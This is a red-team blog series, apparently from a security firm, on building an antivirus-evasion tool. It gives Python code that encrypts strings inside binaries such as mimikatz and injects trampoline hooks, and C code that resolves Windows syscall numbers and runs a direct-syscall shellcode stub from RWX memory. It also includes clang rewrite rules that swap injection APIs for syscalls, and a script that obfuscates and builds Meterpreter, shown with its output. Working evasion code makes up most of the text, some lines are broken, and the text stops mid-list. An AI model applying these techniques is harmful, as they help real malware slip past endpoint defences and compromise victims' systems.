Get cross-references

Cross-references to strings can be obtained with r2pipe’s axt command. Appending a j to the command and then using cmdj allows to get the result in the JSON format, and then automatically parse it with Python.

# patch the instruction that originally references the string
# this allows to decrypt beforehand, so as no to alter the 
# program's behavior.    
xrefs = radare_pipe.cmdj(f"axtj @ {string['vaddr']}")
original_instruction = None

# For now, several XREFS to the same strings is an unhandled
# case, for simplicity.
if len(xrefs) > 1:

    logging.warning(f"Skipping string \'{string['string']}\' because more than 1 XREF was found")
    return False, original_instruction

# no xref found
elif len(xrefs) < 1:
    logging.warning(f"Skipping string \'{string['string']}\' because less than 1 XREF could be found")
    return False, original_instruction

To simplify things, we do not handle strings with many xrefs although that’s definitely doable.

Disassemble the original instruction

xref = xrefs[0]

# corner cases that can't be handled right for now
if not xref["opcode"].startswith("lea"):

    logging.warning(f"Skipping string \'{string['string']}\'. Unhandle opcode {xref['opcode']}\'")
    return False, original_instruction

location = xref["from"]

# store original instruction information
original_instruction = radare_pipe.cmdj(f"aoj @ {location}")
switch_address = binary.get_section(TRAMPOLINE_SECTION).virtual_address

Insert the hook

# LIEF creates new sections for PE with virtual_address relative to image base.
if g_is_pe:
    binary_base_address = radare_pipe.cmdj("ij")['bin']['baddr']  

jmp_destination = binary_base_address+switch_address - location + previous_block_sz # displacement between the original instruction and the switch section
assembly = f"call {hex(jmp_destination)}"
tmp_encoding, _ = ks.asm(assembly) # assemble

# oh I like dirty hacks
res = ""
for i in tmp_encoding:
    if i < 10:
        res += "0" + str(hex(i))[2:]
        res += str(hex(i))[2:]
res += "9090" # 2 NOP so that we have the same number of bytes making up the new instruction.
radare_pipe.cmd(f"wx {res} @ {hex(location)}")

Build the jump table

First, we need to create a new section in the target binary. The section should be big enough to hold information about each identified string.

Insert a new section

section = lief.PE.Section(TRAMPOLINE_SECTION)

section.content = [0x90 for i in range(SZ_BLK_PER_STRING * nb_strings)] # placeholder
section = original_binary.add_section(section)

Then, we use keystone to assemble the hook instructions, but let’s go over the process step-by-step.



Our trampoline should look as follows:

lea rdi, str.offset1 ; load the string
mov r12, label1 ; or EIP+len(next_instruction)
jmp decrypt_section ; absolute jmp # end of decrypt section will jmp on r12
pop rax ; original instruction pointer
jmp rax

However, this does not account for the calling convention of the target binary, and sadly there are too many variations to cover. We thus decided to only support 64-bit ELF and PE files as a first step.

This sets up the parameters required by the decryption routine, the actual call and then the return to the original instruction. With that out of the way, let us define the blueprint for this trampoline. For a PE file, our actual trampoline would actually be:

assembly = ["push rcx\npush rdx\npush rax\nlea rcx, [rip{}]\n", #offset_to_str, sign to be included
"mov rdx, {}\n", #str_size
"lea rax, [rip{}\n", #offset_to_decrypt_section
"call rax\n",
"pop rax\npop rdx\npop rcx\n",
"lea rdi, [rip{}]\n",# offset_to_str2 

Collect virtual addresses

string_offset = string["vaddr"]
section = binary.get_section(TRAMPOLINE_SECTION)
binary_base_address = 0

if g_is_pe:
    binary_base_address = radare_pipe.cmdj("ij")['bin']['baddr']

new_data_address = binary.get_section(".data").virtual_address
new_decrypt_address = binary.get_section(DECRYPT_SECTION).virtual_address
new_text_address = binary.get_section(".text").virtual_address

Load the string in rdi

# load string in rdi
offset_to_str = hex(binary_base_address+section.virtual_address-string_offset)

# the execution flow can either be diverted upwards or downwards
offset_to_str = adjust_signedness(offset_to_str)

# size of the patch to update the string's offset
crt_ins_size = get_instructions_size(proper_assembly[0], [offset_to_str])
offset_to_str = hex(binary_base_address+section.virtual_address-string_offset+crt_ins_size+previous_block_sz)
offset_to_str = adjust_signedness(offset_to_str)

# put everything together
assembly  = proper_assembly[0].format(offset_to_str)

Load the string

# load string size
str_size = string["length"]
assembly += proper_assembly[1].format(str_size)

Call the decryption routine

# call decrypt_function
sections_offset = section.virtual_address - new_decrypt_address
crt_ins_size = get_instructions_size(assembly + proper_assembly[2], [adjust_signedness(sections_offset)])
offset_to_decrypt_section = hex(sections_offset + crt_ins_size + previous_block_sz)
offset_to_decrypt_section = adjust_signedness(offset_to_decrypt_section)
assembly += proper_assembly[2].format(offset_to_decrypt_section)
assembly += proper_assembly[3]

Load the original instruction and restore the original control flow

# load original instruction
offset_to_str2 = binary_base_address+section.virtual_address-string_offset
offset_to_str2 += get_instructions_size(assembly+proper_assembly[5], [offset_to_str])
offset_to_str2 += previous_block_sz
assert(original_instruction["mnemonic"] == "lea") # todo: handle more cases

Then, it is important to recover the original register used to reference the string, and update its value with the string’s new address:

first_operand = original_instruction["opex"]['operands'][0]

assert(first_operand["type"] == "reg")
dest_reg = first_operand["value"]
assembly += f"lea {dest_reg}, [rip{adjust_signedness(offset_to_str2)}]\n"

Now, it is simply a matter of returning to the original instruction. The final code can be assembled with keystone.

# return to original instruction
assembly += proper_assembly[-1]
encoding, _ = ks.asm(assembly)

Update the binary with these patches

current_content = section.content[:previous_block_sz]
section.content = current_content + encoding

# write the new binary to disk

Generate the decryption routine

Binary carving and code injection

The goal here to locate the decryption routine previously generated and carve it out, and then inject it into the target binary.

To carve it out, we will use symbols to locate the function by its name. For ELF files, the lief API get_static_symbol did the job, wheras it did not work for PE files. No worries though, using radare2 it is almost as easy. Then, lief offers the API get_content_from_virtual_addresss, which allows to copy the bytes making up the decryption routine.

def strip_function(name: str, binary: lief.ELF.Binary):

    address = 0 # offset of the function within the binary
    size = 0 # size of the function

    if binary.format == lief.EXE_FORMATS.ELF:
        symbol = binary.get_static_symbol(name)

        address = symbol.value
        size = symbol.size

    # lief does not appear to be able to locate function by name in PE files.
    elif binary.format == lief.EXE_FORMATS.PE:
        r2 =
        all_functions = r2.cmdj("aflj") # enumerate functions as JSON
        matching_functions = []

        for fn in all_functions:

            if name in fn['name']:
      "Found function matching '{name}': {fn}")
                matching_functions += [fn]
        if len(matching_functions) > 1:
            logging.warn(f"More than 1 function found with name {name}. Bug incoming.")
        address = matching_functions[0]['offset']
        size = matching_functions[0]['size']

        raise Exception("Unsupported file format")

    function_bytes = binary.get_content_from_virtual_address(address, size)
    return function_bytes, address, size

Then, inject it as follows:

def add_section(original_binary):

    r2 =
    strings = get_strings(r2)
    nb_strings = len(strings)

    # :(
    if g_is_pe:

        section = original_binary.get_section(".rdata")
        section.characteristics = lief.PE.SECTION_CHARACTERISTICS.MEM_WRITE | lief.PE.SECTION_CHARACTERISTICS.MEM_READ# make the section writable :O

        section = lief.PE.Section(DECRYPT_SECTION)
        content,_,_   = strip_function("decrypt", lief.parse(STUB))

        section.content = content
        section = original_binary.add_section(section)

        # ...

Results in practice

In practice, it is not possible to encrypt 100% of the strings in a binary:

  • Strings identification by the most advanced binary analysis frameworks is incomplete.
  • Cross-references are incomplete.
  • Strings may be declared within arrays, and such scenarios the cross-reference points to the beginning of the array.

So, while we could encrypt around 2000 strings within mimikatz, Windows Defender still detected the binary statically. It’s quite a shame to encrypt that many strings and miss the only 5 strings that actually trigger the detection, mais c’est la vie.

Future work

To improve this tool and allow it to actually circumvent antivirus software, more advanced analysis should be performed on the binary, in order to identify more cross-references and handle scenarios where a cross-reference points to a collection of strings rather than the string directly. There are some treasures in the floss codebase, and probably some of the problems they solved while making their tool could be helpful here as well.

Or, one can embrace the current limitations and only encrypt strings which are definitely going to trigger the antivirus, hoping they are not located within an array ;o

Engineering antivirus evasion (Part III)

By: plowsec
19 April 2022 at 10:05

Previous blog posts addressed the issue of static artefacts that can easily be caught by security software, such as strings and API imports:

This one provides an additional layer of obfuscation to target another kind of detection mechanism used to monitor a program’s activity, i.e userland hooks. As usual, source code was published at

It comes with two additional niceties:

  • A multithreaded Python script to obfuscate the entire Meterpreter codebase.
  • A self-contained, position independent C source code to dynamically fetch syscalls numbers on Windows.

A note on the State-of-the-Art of userland hooks evasion

<storytime>Our research on the subject started in 2017 as part of two externalised school semester projects. Some years before that, there already were some noise about some new antivirus able to detect “any threat” pre-execution, using “IA” and even apparently without the need of regular updates. Two fellow students at the time, having similar research projects, could not circumvent it. At around the same time, a friend working in an IT company invited me to a private demo of the software, where the salesman confidently asked me to throw things at it, and indeed I could not go past it 🙂

It is in 2017 that I encountered the software as part of a thesis, and this time I decided to stop jerking around and I reverse-engineered two thirds of the damn antivirus. This taught me about userland hooking, which I initially thought that no company in their right mind would ever do, but hey, who am I to judge.

About 6 months later I gave SCRT a full bypass of this software’s capabilities, alongside two self-protection bypasses to disable the antivirus in case it would ever be needed.</storytime>

In the meantime, many articles and tools were published on the subject and some work quite well. In any case, ours is only a bit different since we use a C/C++ source code obfuscator. And, because the public research on the subject is advanced enough, we don’t see any issue anymore by sharing it. Like all techniques, it comes with its pros and cons.

Pros and cons

The advantages are:

  • No hardcoded syscalls numbers
  • No check against Windows’ version
  • Generic accross AV/EDR.
  • Able to, for instance, refactor a CreateRemoteThread call into a NtCreateThreadEx one, which does not have the same number or even order of parameters.
  • Integrates well with other obfuscation passes, since all of it is made by the same software, with the same technologies.
  • Thread-safe.

The downside are as follows:

  • Need to have the Windows headers somewhere on disk :p
  • Some disadvantages are specific to the way we get syscall numbers, but that actual implementation can be swapped easily for another one. These disadvantages are:
    • Read ntdll.dll from disk.
    • Need to get the type definition from MSDN in case you want to add support for another syscall.

Reading ntdll.dll from disk is seen as suboptimal in recent publications, with the arguments that it can “easily” be detected by antivirus since ntdll.dll is loaded into every process already and there is no “legit” need to do it again.

However, we’ve used this tool for 4 years now (at the time of writing) without any issue. Having ideas about what antivirus or blue teams should do is one thing, actually implementing it without false positives is quite another. Would that even be the case, we would attempt to bypass the ntdll.dll read detection, since NTFS is the PHP of fileystems.

As for the type definitions, it has been automated in other tools so their implementation could probably be integrated (

Other tools

Other than that, here are some other popular tools that also fight userland hooks:

Evading userland hooks with raw syscalls

There are many techniques to go around userland hooks and we won’t provide yet another summary of each of these. Our approach, like many others, work by invoking syscalls. To do that, one needs the syscall number, which is specific to each version of Windows as opposed to syscalls on Unix.

There are many techniques to recover these syscall numbers:

  • Hardcode them.
  • Parse them from ntdll.dll.
  • Bruteforce: since ntoskrnl.exe checks syscalls arguments and returns the error “INVALID_PARAMETERS“, one can leverage that as an Oracle and iterate over the syscall number until arguments are valid.
  • Somehow get them from the hooked ntdll.dll in the process address space, which implies to detect and resolve hooks, which requires a disassembler which in turn increases our footprint.
  • Sort the ntdll.dll’s EAT by name like shown in

The last one is probably the simplest. In any case, here is the implementation details behind the technique used in avcleaner, which you can easily swap for the one you prefer.

Get syscall numbers

The code shown in the subsequent section is written in such a way because it’s meant to be position independent.

Get ntdll.dll’s export directory

Once the file is loaded into memory, one must locate the implementation of the API of interest. For instance, one can expect to find NtCreateThreadEx somewhere in the .text section, but its address is not predictible because of ASLR. However, ntdll being a library, it actually exposes this API and many others, so that software can reuse them. The collection of exposed API is stored inside the Export directory in a PE file. Each API is identified either by its name or an identifier called “Ordinal”. To reduce the footprint, it is arguably better to locate the API by ordinal. On the other hand, they are not guaranteed to stay the same accross Windows versions. Either way, here is how one would locate the export directory of a DLL:

static PIMAGE_EXPORT_DIRECTORY get_export_dir(LPBYTE file_buffer, DWORD file_size, PIMAGE_SECTION_HEADER *first_section, DWORD* nb_sections) {
    PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)file_buffer;

    // sanitity check
    if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) {

    PIMAGE_NT_HEADERS nt_header = (PIMAGE_NT_HEADERS)(file_buffer + dos_header->e_lfanew);
    *nb_sections = nt_header->FileHeader.NumberOfSections;

    *first_section = (PIMAGE_SECTION_HEADER) (file_buffer + dos_header->e_lfanew +sizeof(IMAGE_NT_HEADERS));

    DWORD export_rva = nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    // The field VirtualAddress needs a quick conversion in case the target is accessed in the file directly
    DWORD export_file_offset = rva_to_file_offset(*first_section, *nb_sections, file_size, export_rva);

    return (PIMAGE_EXPORT_DIRECTORY)(file_buffer + export_file_offset);

Iterate over syscalls

Once the export table is locate, one can iterate over each entry. To actually get the API names in spite of the awkward indirections inherent to the PE file format, one could do as follows:

PIMAGE_SECTION_HEADER first_section; // first section's header, points to an array of sections headers.
    DWORD nb_sections = 0; // number of sections in ntdll

    PIMAGE_EXPORT_DIRECTORY export_directory = get_export_dir(file_buffer, file_size, &first_section, &nb_sections);

    PDWORD functions_address = (PDWORD)(file_buffer + rva_to_file_offset(first_section, nb_sections, file_size, export_directory->AddressOfFunctions));
    PWORD ordinals_address = (PWORD)(file_buffer + rva_to_file_offset(first_section, nb_sections, file_size, export_directory->AddressOfNameOrdinals));
    PDWORD names_address = (PDWORD)(file_buffer + rva_to_file_offset(first_section, nb_sections, file_size, export_directory->AddressOfNames));

    SIZE_T nb_api_names = sizeof(__API_names) / sizeof(__API_names[0]);
    syscall_infos = (syscall_info*)malloc(nb_api_names * sizeof(syscall_info));

    for (DWORD i = 0; i < export_directory->NumberOfNames; ++i)
        DWORD rva_api = functions_address[ordinals_address[i]];
        DWORD file_offset_name = rva_to_file_offset(first_section, nb_sections, file_size, names_address[i]);

        unsigned char* name = file_buffer + file_offset_name;

         // filter everything except Zw* API functions
        if (!(*name == 'Z' && *(name + 1) == 'w'))

Get the syscall ID

From there the sky is the limit, as they are many ways to collect the syscall ID. The example below, which obviously does not care about efficiency, only proceeds in case the syscall corresponds to an API we want to obfuscate. For instance, the syscall ID can be found in the API’s disassembly, as shown with WinDbg below:

windbg > u NtCreateFile
00007ffa`202458e0 4c8bd1          mov     r10,rcx
00007ffa`202458e3 b855000000      mov     eax,55h
00007ffa`202458e8 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffa`202458f0 7503            jne     ntdll!NtCreateFile+0x15 (00007ffa`202458f5)
00007ffa`202458f2 0f05            syscall
00007ffa`202458f4 c3              ret
00007ffa`202458f5 cd2e            int     2Eh
00007ffa`202458f7 c3              ret

Here, the syscall number is 0x55 (mov eax, 55h). Since every syscall is implemented in the same manner, the offset to this assembly instruction is always the same for every API. The offset is thus the number of bytes between NtCreateFile’s prologue and the operand of mov: 4 bytes (as can be seen by counting the bytes in the second column above).

// get the syscall id
DWORD syscall_id = *(DWORD *)(procedure_address + SYSCALL_ID_OFFSET);

// compare with the APIs we're interested in
for (unsigned int i = 0; i < nb_api_names; i++) {
    if (strequal(__API_names[i], (const char*)name))    {
        syscall_infos[i].name = __API_names[i];
        syscall_infos[i].id = syscall_id;

This is a simple proof-of-concept that does the job, but with lots of imperfection. For instance, notice the strequal call, which uses API names as strings. This is a challenge for position independent code but also for antivirus detection, since strings are easy to find in binaries. Moreover, Windows Defender actually flags that with a low-score signature called “ApiRetrieval”, but in case everything else in your payload is well designed, it won’t bother flagging the file as malicious. That’s the reason it’s more standard to use API hashes, but unless the API hashing algorithm is itself polymorphic, the same problem might arise. Besides, string encryption would definitely be a valid alternative. Either way, we won’t provide any of that, since the goal is to document techniques, not provide perfect tools ready to pwn systems.

Since disassembling other syscalls shows that every syscall follows the same implementation save for the syscall number, we can safely define the following template and update the syscall number once we have it:

unsigned int syscall_id = syscall->id;

unsigned char syscall_shellcode[] = {
    0x4c,0x8b,0xd1, // mov r10, rcx
    0xb8,0x18,0x00,0x00,0x00, //-> to be updated with the correct syscall number
    0x0f,0x05, //syscall instruction.

//convert to little endian (byte swap)
unsigned char lvalue = syscall_id & 255;
unsigned char hvalue = (syscall_id / 256) & 255;

// update the shellcode with the correct syscall id
syscall_shellcode[4] = lvalue;
syscall_shellcode[5] = hvalue;

From there, the shellcode can be invoked as usual:

void *qapcmem = VirtualAlloc(0, sizeof(syscall_shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(qapcmem, syscall_shellcode, sizeof(syscall_shellcode));

The memory area is set to RXW to bypass Data Execution Prevention (DEP). Some say it’s a detection vector but we never actually triggered an AV by doing that. In any case, if that bothers you, don’t hesitate to insert a VirtualProtect call or locate a code cave with existing RWX permissions.

Another detection vector would be the syscall_shellcode variable, since it will hold 0x0f, 0x05, which could be detected by some YARA rules looking for direct syscalls. Encryption is left as an exercise to the reader.

Clang obfuscation pass

The previous blog posts went into (lengthy) details about implementing an obfuscation pass with libclang. I think it is no necessary to do so here since no new concept is introduced. However, here is how simple it is to define a rule to transform one API call to a syscall, even if they don’t share the same number of arguments:

auto ZwWriteVirtualMemoryTypeDef = "typedef NTSTATUS(__stdcall *_ZwWriteVirtualMemory)(\n"
 " HANDLE ProcessHandle,\n"
 " PVOID BaseAddress,\n"
 " PVOID Buffer,\n"
 " ULONG NumberOfBytesToWrite,\n"
 " PULONG NumberOfBytesWritten);\n\n";

auto Cons = std::make_unique<ApiCallConsumer*>(new ApiCallConsumer("WriteProcessMemory", ZwWriteVirtualMemoryTypeDef,
"ZwWriteVirtualMemory", true));


Of course, for that to be possible, the obfuscation rule must know about the arguments and how to handle them, and the lines below simply take care of it:

 * 1. Rename API to random identifier
 * 2. Adapt parameters
 * 3. Handle If conditions since the return value is different
void ApiMatchHandler::rewriteApiToSyscall(const clang::CallExpr *pExpr, clang::ASTContext *const pContext,
                                          std::string ApiName) {
    std::string Replacement, Prefix, Suffix = "";
    std::ostringstream params(std::ostringstream::out);
    SourceRange Range;

    if (ApiName == "WriteProcessMemory") {
        llvm::outs() << "[*] Found WriteProcessMemory\n";
        std::vector<std::string> FunctionArgs = GetArgs(pExpr);

        params << "("
               << << ", "
               << << ", (PVOID)("
               << << "), (ULONG)("
               << << "), (PULONG)("
               << << "))";
        Replacement = params.str();
        Range = clang::SourceRange(pExpr->getBeginLoc(), pExpr->getEndLoc());

An interesting bug I encountered while obfuscating meterpreter was API calls within if-statements, because the API call’s return value is used as a condition for executing another code block. However, Windows being Windows, syscall don’t return the same value in case of error / success and we must actually check against the macro ERROR_SUCCESS.

if (isInsideIfCondition(pExpr, pContext)) {
    llvm::outs() << "CompountStmt > IfStmt\n";

    Suffix = " == ERROR_SUCCESS";

Example with Meterpreter

Accompanying this blog post’s release, there is a python script that bootstraps avcleaner and makes it easy to obfuscate a whole codebase at once. Of course you could just **/*.c | xargs avcleaner away but it brings some useful features:

  • Statistics: avcleaner’s output is quite lengthy and sometimes, when working on a huge codebase, critical failures could be overlooked.
  • Multithreading / multiprocessing: depending on your Python implementation, you can switch between them with 1 line of code at the top of the script and get the most performance. This allows to cut down execution time from ~30 minutes to ~30 seconds in the case of Meterpreter.
  • Some files are opted out of the obfuscation pass because they contain some weird code patterns that can’t be handled correctly by avcleaner, and since our research time is limited, we decided to conveniently skip these files.
  • Moreover, the statistics printed out at the end of the obfuscation pass should be regarded as an estimation, since the total number of “CreateRemoteThread” for instance is counted with pattern matching Python-side, which obviously makes mistakes by accounting for occurrences in comments or something like that.


Here is a script that automates patching Meterpreter and cross-compiles it. This is possible since MSF 6 with the introduction of makefiles and dockerfiles allowing cross-compilation from any OS to Windows x86/x64 architectures.


set +e

TMP_DIR=$(mktemp -d)
echo "Building in $TMP_DIR"

# download meterpreter' source code
git clone
cd metasploit-payloads
git submodule update --init --recursive

# apply manual patches
cd c/meterpreter
# ...
# run avcleaner
python3 avcleaner/scripts/ -p "$TMP_DIR/c/meterpreter/source" --edit --api --strings
make docker-x64
$ bash                                                          
Building in /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu
Cloning into 'metasploit-payloads'...
remote: Enumerating objects: 32669, done.
remote: Counting objects: 100% (542/542), done.
remote: Compressing objects: 100% (271/271), done.
remote: Total 32669 (delta 232), reused 426 (delta 157), pack-reused 32127
Receiving objects: 100% (32669/32669), 59.09 MiB | 8.89 MiB/s, done.
Resolving deltas: 100% (17555/17555), done.
Submodule 'deps' ( registered for path 'c/meterpreter/deps'
Submodule 'source/ReflectiveDLLInjection' ( registered for path 'c/meterpreter/source/ReflectiveDLLInjection'
Submodule 'c/meterpreter/source/extensions/kiwi/mimikatz' ( registered for path 'c/meterpreter/source/extensions/kiwi/mimikatz'
Cloning into '/private/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/deps'...
Cloning into '/private/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/ReflectiveDLLInjection'...
Cloning into '/private/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz'...
Submodule path 'c/meterpreter/deps': checked out '0f78fe95010a32f2c762154a2423256aeea80b0f'
Submodule path 'c/meterpreter/source/ReflectiveDLLInjection': checked out '6bad4c49327ad3b7d9cce6e280d034b76dbec928'
Submodule path 'c/meterpreter/source/extensions/kiwi/mimikatz': checked out 'a98af74db2d515600242c87495289dfa20ebeb60'
python3 /Users/vladimir/dev/scrt/avcleaner/misc/ --api --strings --edit  -p /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source && make docker-metsrv-x64 ; say "Bouh"
INFO:root:Analyzing 535 files...
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/metsrv/libloader.c -> Counter({'WriteProcessMemory': 4, 'NtCreateSection': 4, 'NtMapViewOfSection': 4})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/metsrv/base_inject.c -> Counter({'WriteProcessMemory': 6, 'NtQueueApcThread': 2})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/metsrv/remote_thread.c -> Counter({'CreateRemoteThread': 3})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/metsrv/base_dispatch.c -> Counter({'WriteProcessMemory': 4})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_misc.c -> Counter({'NtResumeProcess': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_process.c -> Counter({'NtResumeProcess': 2, 'NtSuspendProcess': 2})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_net.c -> Counter({'SamFreeMemory': 18, 'SamCloseHandle': 10, 'SamEnumerateDomainsInSamServer': 6, 'SamOpenDomain': 4, 'SamConnect': 3, 'SamLookupDomainInSamServer': 3, 'SamRidToSid': 2, 'SamGetAliasMembership': 2, 'SamOpenUser': 1, 'SamOpenGroup': 1, 'SamOpenAlias': 1, 'SamGetGroupsForUser': 1, 'SamGetMembersInGroup': 1, 'SamGetMembersInAlias': 1, 'SamEnumerateUsersInDomain': 1, 'SamEnumerateGroupsInDomain': 1, 'SamEnumerateAliasesInDomain': 1, 'SamLookupIdsInDomain': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_lsadump.c -> Counter({'SamFreeMemory': 10, 'SamCloseHandle': 6, 'SamEnumerateDomainsInSamServer': 2, 'SamConnect': 2, 'SamOpenDomain': 2, 'SamOpenUser': 2, 'SamSetInformationUser': 2, 'SamLookupNamesInDomain': 2, 'SamLookupDomainInSamServer': 1, 'SamQueryInformationUser': 1, 'SamiChangePasswordUser': 1, 'SamEnumerateUsersInDomain': 1, 'SamLookupIdsInDomain': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c -> Counter({'NtResumeProcess': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kull_m_memory.c -> Counter({'WriteProcessMemory': 1, 'ReadProcessMemory': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kull_m_cabinet.c -> Counter({'GetTempFileNameA': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kull_m_remotelib.c -> Counter({'CreateRemoteThread': 2})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/priv/tokendup.c -> Counter({'WriteProcessMemory': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/priv/passwd.c -> Counter({'ReadProcessMemory': 3, 'WriteProcessMemory': 2})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/stdapi/server/sys/process/in-mem-exe.c -> Counter({'WriteProcessMemory': 6, 'NtUnmapViewOfSection': 4, 'ReadProcessMemory': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/stdapi/server/sys/process/memory.c -> Counter({'WriteProcessMemory': 1, 'ReadProcessMemory': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/stdapi/server/sys/process/util.c -> Counter({'WriteProcessMemory': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c -> Counter({'ReadProcessMemory': 3})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/ReflectiveDLLInjection/dll/src/ReflectiveDll.c: 100%|███████████████████████████████████████████████| 535/535 [00:02<00:00, 251.14it/s]
INFO:root:Found 243 files with strings.
INFO:root:Found 18 files with suspicious API calls.
['/extensions/priv/namedpipe.c', '/extensions/kiwi/mimikatz/modules/kull_m_rdm.c', '/metsrv/pivot_tree.c', '/extensions/stdapi/server/sys/session.c', '/metsrv/remote_thread.c', '/extensions/kiwi/mimikatz/mimilib/sekurlsadbg/kull_m_rpc.c', '/metsrv/server_pivot.c', '/extensions/kiwi/mimikatz/mimilib/sekurlsadbg/kuhl_m_sekurlsa_packages.c', '/metsrv/metsrv.c', '/extensions/stdapi/server/net/resolve.c', '/extensions/stdapi/server/net/config/arp.c', '/extensions/kiwi/mimikatz/modules/kull_m_busylight.c', '/screenshot/bmp2jpeg.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_ts.c', '/extensions/kiwi/mimikatz/modules/kull_m_key.c', '/extensions/kiwi/mimikatz/modules/kull_m_crypto_sk.c', '/extensions/priv/elevate.c', '/extensions/incognito/user_management.c', '/extensions/kiwi/mimikatz/mimilib/kdns.c', '/extensions/kiwi/mimikatz/modules/kull_m_minidump.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_lsadump.c', '/extensions/incognito/incognito.c', '/metsrv/server_transport_winhttp.c', '/elevator/elevator.c', '/metsrv/libloader.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kerberos/kuhl_m_kerberos_ccache.c', '/extensions/stdapi/server/net/net.c', '/extensions/winpmem/winpmem.cpp', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_ms-credentialkeys.c', '/extensions/stdapi/server/sys/eventlog/eventlog.c', '/extensions/kiwi/mimikatz/mimilib/sekurlsadbg/kuhl_m_sekurlsa_utils.c', '/extensions/kiwi/mimikatz/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_keys.c', '/extensions/kiwi/mimikatz/mimilib/sekurlsadbg/kwindbg.c', '/extensions/kiwi/mimikatz/modules/kull_m_hid.c', '/extensions/stdapi/server/ui/ui.c', '/extensions/stdapi/server/sys/process/image.c', '/extensions/incognito/hash_stealer.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c', '/extensions/kiwi/mimikatz/modules/kull_m_sr98.c', '/extensions/kiwi/mimikatz/mimikatz/modules/dpapi/kuhl_m_dpapi.c', '/extensions/kiwi/mimikatz/mimilib/kappfree.c', '/screenshot/screenshot.c', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_ms-bkrp_c.c', '/extensions/kiwi/mimikatz/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_creds.c', '/extensions/kiwi/mimikatz/modules/kull_m_pn532.c', '/extensions/unhook/refresh.c', '/extensions/stdapi/server/sys/process/thread.c', '/extensions/espia/screen.c', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_mimicom.c', '/extensions/kiwi/mimikatz/modules/kull_m_asn1.c', '/metsrv/base.c', '/metsrv/core.c', '/extensions/kiwi/mimikatz/mimikatz/modules/crypto/kuhl_m_crypto_pki.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_sid.c', '/extensions/kiwi/mimikatz/modules/kull_m_registry.c', '/extensions/kiwi/main.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_dpapi.c', 